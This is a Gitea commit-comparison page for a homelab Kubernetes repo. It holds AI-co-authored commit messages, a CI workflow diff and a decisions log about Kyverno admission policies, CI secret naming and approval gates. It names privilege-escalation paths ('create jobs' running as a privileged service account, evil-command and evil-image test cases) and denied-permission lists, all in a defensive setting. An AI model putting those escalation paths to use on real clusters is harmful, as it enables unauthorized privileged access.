Compare commits

..
Author SHA1 Message Date
jakman85andClaude Opus 5 9275dae6e0 docs(gitea): the README still named the ILLEGAL secret GITEA_SETTINGS_TOKEN
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
PR #15 renamed the Actions secret to SETTINGS_API_TOKEN because Gitea RESERVES the
GITEA_ prefix and rejects such a name with HTTP 400 "invalid secret name" -- the
defect that left the branch-protection detector inert and unnoticed. The README in
this very directory, which documents that story, went on naming the illegal name in
its behaviour table and in its closing "remaining step" line.

Both now say SETTINGS_API_TOKEN, plus a note recording what ci/gitea-settings.sh
ACTUALLY does, quoted from the file rather than assumed:

    TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"

GITEA_SETTINGS_TOKEN is still honoured, but ONLY as an environment variable for a
local run -- it can never be the CI wiring, because the secret that would feed it
cannot be created at all. The closing line also predated PR #15 storing the secret;
it now says so.

Documentation only. No behaviour change.

NOT fixed here, because it is outside this PR's diff: ci/gitea-settings.sh:45 still
instructs the reader to "create a Gitea repo secret GITEA_SETTINGS_TOKEN", which is
impossible. Same defect, different file -- worth its own one-line change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:22:13 -05:00
jakman85andClaude Opus 5 64944aeda0 docs(decisions-log): PR #19's CI has no approval-policy check -- measured, not assumed
gate / gate (pull_request) Successful in 1m35s
gate / conformance (pull_request) Has been skipped
The brief for the trigger-credential work said PR #19 would FAIL `approval-policy`
because infra/gitea/** is security-relevant. Measured on the head commit's
/statuses: `gate / gate (pull_request)` succeeded in 1m34s and the conformance
context is the usual blocked placeholder. .gitea/workflows/ holds only gate.yml
and the dormant merge-gate.yaml -- there is no path-scoped approval policy at all.

So the "security-relevant paths need a human" rule is carried entirely by
required_approvals: 1 plus a reviewer reading the diff, not by a check. Recorded
because this is the same shape as every other §2b finding: a control believed to
exist because prose said it did.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:17:21 -05:00
jakman85andClaude Opus 5 5a006aeb15 feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6, as an operator script:
infra/gitea/conformance-trigger-kubeconfig.sh. UNEXECUTED here -- minting a
cluster credential and changing Gitea variables are operator actions.

It mints a token for conformance/conformance-trigger (TokenRequest), wraps ONLY
that token with the cluster CA and server into a kubeconfig, and stores it as the
Actions secret CONFORMANCE_TRIGGER_KUBECONFIG. Never cluster-admin, never a copy
of the operator's own kubeconfig. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT body FILE (--data @file), and the
script refuses to run under `set -x` because xtrace would print it.

Two traps this repo already paid for are designed around:

  * GITEA_ is a RESERVED secret-name prefix (HTTP 400 "invalid secret name"), so
    the name is CONFORMANCE_TRIGGER_KUBECONFIG -- which is also what gate.yml and
    merge-gate.yaml already reference.
  * `curl -sS` exits 0 on an HTTP error. Every write checks %{http_code} AND reads
    the object back. The secret read-back proves presence by NAME only (Gitea
    never returns secret values) and the script says so rather than implying its
    content was checked; the variable read-back asserts the value is exactly
    "true", which is what gate.yml compares against.

PRECONDITIONS ARE SPLIT IN TWO, and the split is the security argument:

  mint-blocking (cluster) -- SA/Role/RoleBinding present, and ClusterPolicy
  conformance-trigger-job-shape present + Enforce + failurePolicy Fail + Ready.
  Any failure and NOTHING IS MINTED. Kubernetes places no `use` check on a Job's
  serviceAccountName, so a `create jobs` token in that namespace IS the privileged
  conformance-runner identity unless admission bounds its shape. RBAC cannot close
  that (plan §4); minting before the boundary is live hands CI the escalation the
  boundary exists to close.

  arm-blocking (repo) -- digest-pinned CONFORMANCE_RUNNER_IMAGE, an initContainer
  plus the admitted image in chainsaw-job.yaml, and CONFORMANCE_TRIGGER_KUBECONFIG
  referenced in ci/conformance.sh CODE rather than a comment. These block only
  vars.CLUSTER_AVAILABLE, because storing the secret early is harmless (the job is
  gated off) and is the plan's own order.

All three arm-blocking checks FAIL in the tree today, so a live run would store
the secret and then REFUSE to arm CLUSTER_AVAILABLE, naming each missing item.
That is the intended behaviour: measured 2026-09-29, CLUSTER_AVAILABLE=true with
no trigger path scaffold-skipped all 54 tests at rc 0 and the stage printed "L2/L3
conformance passed". ci/conformance.sh now blocks that case, so arming early does
not enable L2/L3 -- it only breaks every PR. Arming needs the explicit flag, every
precondition green, and a typed confirmation on a TTY.

Before storing anything, the credential is PROVEN narrow: auth whoami must be
system:serviceaccount:conformance:conformance-trigger, a real `get jobs` round-trip
must succeed, and an auth can-i matrix asserts both halves -- granted (create/get
jobs, get pods, get pods/log) and DENIED (delete jobs, create pods/exec, get
secrets, create jobs in default, get nodes, '*' '*' --all-namespaces). A mismatch
aborts before any store, and says explicitly not to widen
conformance/incluster/rbac.yaml to make it pass.

Verified only by `bash -n` (clean) and reading. The Gitea variables API shape
(POST creates, PUT updates, body field `value` not `data`) is from documentation,
not measurement: the script tries POST then PUT, prints the response body on
failure, and treats the read-back as the authority. Kyverno readiness is accepted
from either .status.ready or a Ready condition, and "neither present" blocks
rather than assuming ready.

Gate (pinned toolbox): MERGE GATE: UNDETERMINED (rc 3) -- spec-immutability and
gitea-settings unrun, the expected local result.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:12:11 -05:00
jakman85 20ea70d221 Merge pull request 'fix(sec): the R-SEC-02 admission policy was never applied' (#16) from fix/kyverno-policy-was-never-applied into main
gate / gate (push) Successful in 1m36s
gate / conformance (push) Has been skipped
Reviewed-on: #16
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:28:54 +00:00
jakman85andClaude Opus 5 8c7a770de2 fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
gate / gate (pull_request) Successful in 1m37s
gate / conformance (pull_request) Has been skipped
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/
kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as
reference; THIS file is the buildable render root" -- and that render root
(platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease,
noting that ClusterPolicies are applied a tier later, by platform-config, because they
need the Kyverno CRDs first.

So three lists exist and only platform-config/kustomization.yaml applies anything. The
policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test
exercised it by path and passed, the merge gate passed, and Flux reported `platform`
Ready at the new revision. Measured on prod afterwards:

    kubectl get clusterpolicy conformance-trigger-job-shape
    Error from server (NotFound)

while ns conformance, the conformance-trigger ServiceAccount, its Role and its
RoleBinding were all live. That is exactly the state that identity's own RBAC header
says must never exist -- the trigger identity present with nothing bounding it. Blast
radius was small only because no trigger kubeconfig exists yet, which is luck, not design.

Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to
8 and contains conformance-trigger-job-shape).

CLOSES THE CLASS, which matters more than the instance. Adds the L0 check
admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is
either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a
reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in
either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no
requirement the diff attributes, so a path-scoped run would have skipped it on the exact
commit that introduced the defect.

Proven both ways, not assumed:
  with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied
  with the fix          -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason

`kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 13:23:09 -05:00
jakman85 1c5974013e Merge pull request 'docs(decisions-log): end-of-session PM handoff' (#14) from docs/handoff-2026-09-29 into main
gate / gate (push) Successful in 1m35s
gate / conformance (push) Has been skipped
Reviewed-on: #14
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:16:22 +00:00
jakman85 4791d4a43a Merge pull request 'feat(sec): constrain the conformance CI trigger at admission' (#13) from feat/conformance-trigger-admission-boundary into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #13
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:16:00 +00:00
jakman85 dfd608ac32 Merge pull request 'fix(ci): CLUSTER_AVAILABLE=true would have faked a green' (#12) from fix/cluster-available-would-fake-a-green into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #12
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:55 +00:00
jakman85 1d2d9d6549 Merge pull request 'fix(ci): the settings token could never have been stored' (#15) from fix/secret-name-and-require-gitea-settings into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #15
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:30 +00:00
jakman85andClaude Opus 5 4b31f97486 docs(decisions-log): addendum — detector armed, and why an agent cannot merge here
gate / gate (pull_request) Successful in 1m34s
gate / conformance (pull_request) Has been skipped
Records two findings from the unattended session.

The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea
reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null,
and printed success anyway. A token existed; no secret did. Enabling
REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own
fix. PR #15 fixes it and its CI is green WITH require active, which is the only
proof that counts.

And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals".
required_approvals:1 + block_admin_merge_override:true + an author who cannot
self-approve means "merge on green CI" is not executable by an agent. Recorded as
the control working rather than a fault, and deliberately not circumvented --
self-approval would hollow out the boundary just built. The choice of what to do
about it is the operator s, and whatever is chosen must also change the declaration
in expected-branch-protection.json or the detector will correctly fail on the drift.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:12:33 -05:00
jakman85andClaude Opus 5 50a48e6f07 fix(ci): the settings token could NEVER have been stored -- Gitea reserves the GITEA_ prefix
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
The drift detector merged in #11 was inert and would have stayed inert silently.

WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions
secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly
as GitHub reserves `GITHUB_` -- and rejects that PUT with:

    HTTP 400  {"message":"invalid secret name"}

The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and
`curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened.
Measured afterwards: the token existed in the user's token list, and the repo's secret list
was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with
REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one
fixing it.

Three changes:
  * the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping
    GITEA_SETTINGS_TOKEN as a local-run fallback;
  * set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim
    success otherwise. That missing verification is the actual defect -- the wrong name was
    just what it hid;
  * gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS.

WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still
skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green
means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json.

Verified locally before pushing:
  REQUIRE=true, token present -> MERGE GATE: PASS
  REQUIRE=true, no token      -> gitea-settings SKIPPED -> BLOCKED (not a silent skip)

The secret is already stored and read back as present, so CI has what it needs.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:08:12 -05:00
jakman85andClaude Opus 5 911ead5fbd docs(decisions-log): end-of-session PM handoff — six PRs open, and what a new machine needs
gate / gate (pull_request) Successful in 1m33s
gate / conformance (pull_request) Has been skipped
Written for a different session on a different computer. Lists the three open gated
PRs with their risk, the one command that must follow #11 (the drift detector skips
until its token exists, and a skipped detector detects nothing), and the three
credentials that are deliberately NOT in git and without which the toolbox and
cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea
credential.

Records the measured platform state while telling the reader to re-measure it rather
than trust this log -- which is the whole point of CLAUDE.md section 2b, and which
this log earned by being confidently wrong for a month.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:28:33 -05:00
jakman85andClaude Opus 5 8eb5baffa4 feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
gate / gate (pull_request) Successful in 1m38s
gate / conformance (pull_request) Has been skipped
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:22:41 -05:00
jakman85 4634b44cc7 Merge pull request 'feat(ci): detect Gitea settings drift' (#11) from feat/gitea-settings-drift-check into main
gate / gate (push) Successful in 1m34s
gate / conformance (push) Has been skipped
Reviewed-on: #11
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:59:29 +00:00
jakman85andClaude Opus 5 6586919132 fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.

MEASURED, before the guard:
  CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
  "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
  "[ ok ] L2/L3 conformance passed for touched subset"

run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.

The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).

The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.

The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:58:26 -05:00
22 changed files with 1692 additions and 18 deletions

No files matched your search

+7 -2
View File
@@ -124,8 +124,13 @@ jobs:
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
env:
GATE_STRICT_SKIPS: "true"
GITEA_SETTINGS_TOKEN: ${{ secrets.GITEA_SETTINGS_TOKEN }}
# REQUIRE_GITEA_SETTINGS: "true" # <- uncomment AFTER seeing gitea-settings green
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
# skipping, this line turns that into a failure and the PR goes red instead of
# merging. Green here means the token resolved and the live Gitea matched the
# declaration in infra/gitea/expected-branch-protection.json.
REQUIRE_GITEA_SETTINGS: "true"
run: ./ci/gate.sh || [ "$?" -eq 3 ]
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
+243
View File
@@ -4964,3 +4964,246 @@ account rubber-stamping the human. That is ceremony, not review. Options: keep i
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
that actually verifies something; or add a second human account. **This is a decision for the
operator, not a default to be chosen silently.**
## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
open is listed below with the reason each is not merged.
### MERGE THESE — both gated green
| PR | What | Risk |
|---|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
### DO THIS FIRST — #11 is merged and its detector is currently INERT
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
./infra/gitea/set-ci-token.sh # mints + stores GITEA_SETTINGS_TOKEN, never prints it
Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
instead of skipping. Doing that before seeing it green locks the repo.
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
green run, and it is saying so honestly. The token is what turns it green.
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
design, and without them the toolbox and the cluster are unreachable:
1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
workstation; the public recipient in `.sops.yaml` is only half the pair.
2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
`~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
### STATE, MEASURED — do not re-derive it from this log, re-measure it
`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
protected:true user_can_push:false enable_status_check:true
status_check_contexts:["gate / gate (pull_request)"] required_approvals:1
block_admin_merge_override:true runner incluster-dind: online gate ~1m35s
### NEXT WORK, in priority order
1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
**Tighten the admission policy's image pattern to the literal digest when that image exists.**
2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
only changes which way the stage fails (see #12).
3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
Actions **variables and secrets** — the next-nearest invisible surface.
4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
to approve. The operator holds ultimate authority and does not require that review; revisit if
it becomes friction.
### THE LESSON, because it caused every finding here
Four times this session the repository was treated as evidence about the live platform, and four
times it was wrong: the push that would "be rejected" (it would not have been), the token that
"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
instructions to continue unattended and merge on green CI. Two things came out of that.
### 1. The detector was INERT, and would have stayed inert silently
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
HTTP 400 {"message":"invalid secret name"}
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
nearly walked into three times.
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
status AND reads the secret back before claiming success. The missing verification was the real
defect; the illegal name is only what it hid. The secret is stored and verified present, and
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
matters, because a skip would have made it red.
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
### 2. No agent-authored PR can be merged without the operator — by design
Merging PR #12 as `gitea-admin` returned:
HTTP 405 {"message":"Does not have enough approvals"}
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
something an agent can execute here.** That is the control working, not a fault — and it was
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
and verified.
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
human approval (the honest reading of the control), or add a second human reviewer account, or
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
verifies something. Whichever, change the DECLARATION in
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
correctly fail the gate on the drift.
### Open PRs, all gated green, none mergeable by an agent
| PR | What |
|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
| #14 | This handoff |
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
### Deliberately NOT done while unattended
No new feature work was started. Five unmerged PRs already stack review burden, and building the
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
cannot land any faster. The next piece is specified and ready to start once these are merged:
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
boundary landed in #13.
## 2026-09-29 (agent, branch `feat/conformance-trigger-kubeconfig`) — the trigger credential script: it REFUSES, on purpose
Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and changing
Gitea variables are operator actions; nothing was minted, no Gitea object was written, no
`kubectl` mutation was made. Everything below is a claim about the *script*, not about the
platform.
### What it does
Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps **only that token**
with the cluster CA and server into a kubeconfig, stores it as the Actions secret
`CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_` prefix), and sets
`vars.CLUSTER_AVAILABLE` only as a separately-requested, precondition-gated, TTY-confirmed final
step. The token is never printed and never reaches argv: it goes into a 0600 file and into the
PUT **body file**. The script refuses to run under `set -x`.
### The design decision worth reviewing: TWO precondition classes
- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
`conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
`serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
`conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
(plan §4); minting before the boundary is live would hand CI the escalation the boundary
exists to close.
- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container plus
the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG` referenced in
`ci/conformance.sh` **code rather than a comment**. These block only the variable, because
storing the secret early is harmless and is the plan's own order.
**Measured in the tree today: all three arm-blocking checks FAIL** (no
`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
names the trigger kubeconfig only in its TODO comment). So on a live run today the script would
provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each missing item —
which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the work that unblocks it.
### Verification of the credential before it is stored
`auth whoami` must return `system:serviceaccount:conformance:conformance-trigger`; a real
`get jobs` round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create pods/exec`,
`get secrets`, `create jobs` in `default`, `get nodes`, `'*' '*' --all-namespaces`). A mismatch
aborts before anything is stored, and the message says explicitly **not** to widen
`conformance/incluster/rbac.yaml` to make it pass.
### Both writes are verified the way `set-ci-token.sh` learned to
`curl -sS` exits 0 on an HTTP error, so status alone proves nothing: each write checks
`%{http_code}` **and** reads the object back. For the secret that is presence-by-name only
(Gitea never returns secret values) and the script says so rather than implying the content was
checked; for the variable it asserts the value reads back as exactly `true`.
### UNVERIFIED — state this plainly
Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no shellcheck stage
in the gate. Nothing in the script has *executed*: the Gitea variables API shape (POST-creates /
PUT-updates, body field `value` not `data`) is from documentation, not measurement — the script
tries POST then falls back to PUT and prints the response body on failure, and the read-back is
the authority. The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled
both ways and treats "neither present" as a block rather than assuming ready. Whether the
kubeconfig's embedded server URL is reachable from the runner pod cannot be known from here —
hence `--server`, and a hard refusal on a loopback address.
### Noted, not fixed (out of scope for this branch)
`infra/gitea/README.md`'s detector table still names `GITEA_SETTINGS_TOKEN` — the illegal name
PR #15 replaced with `SETTINGS_API_TOKEN`. Harmless prose today, but it is the exact trap that
directory documents. Worth a one-line docs PR.
### Gate (pinned toolbox, from the agent worktree)
`MERGE GATE: UNDETERMINED`, **rc 3**. `lint`, `l0`, `render-golden`, `l1` all green; touched
requirement resolved as `R-ENV-01`. Stages that did not run: `spec-immutability` (sibling spec
repo not checked out — the documented tolerated skip) and `gitea-settings` (`SETTINGS_API_TOKEN`
is a credential this agent does not hold). Both are the expected local result and `gate.yml`
tolerates exit 3; neither was "fixed". Run with `DEV_KUBECONFIG=/dev/null` and an `ENGINE` shim
bind-mounting the main checkout's `.git` read-only, per `CLAUDE.md` §3.
### Measured on PR #19, and it contradicts the brief: there is NO `approval-policy` check
The brief for this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**`
is security-relevant. Measured on the PR head commit's `/statuses`:
gate / gate (pull_request) success Successful in 1m34s
gate / conformance (pull_request) pending Blocked by required conditions
`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`. **No
path-scoped approval policy exists**, so nothing machine-enforces "security-relevant paths need a
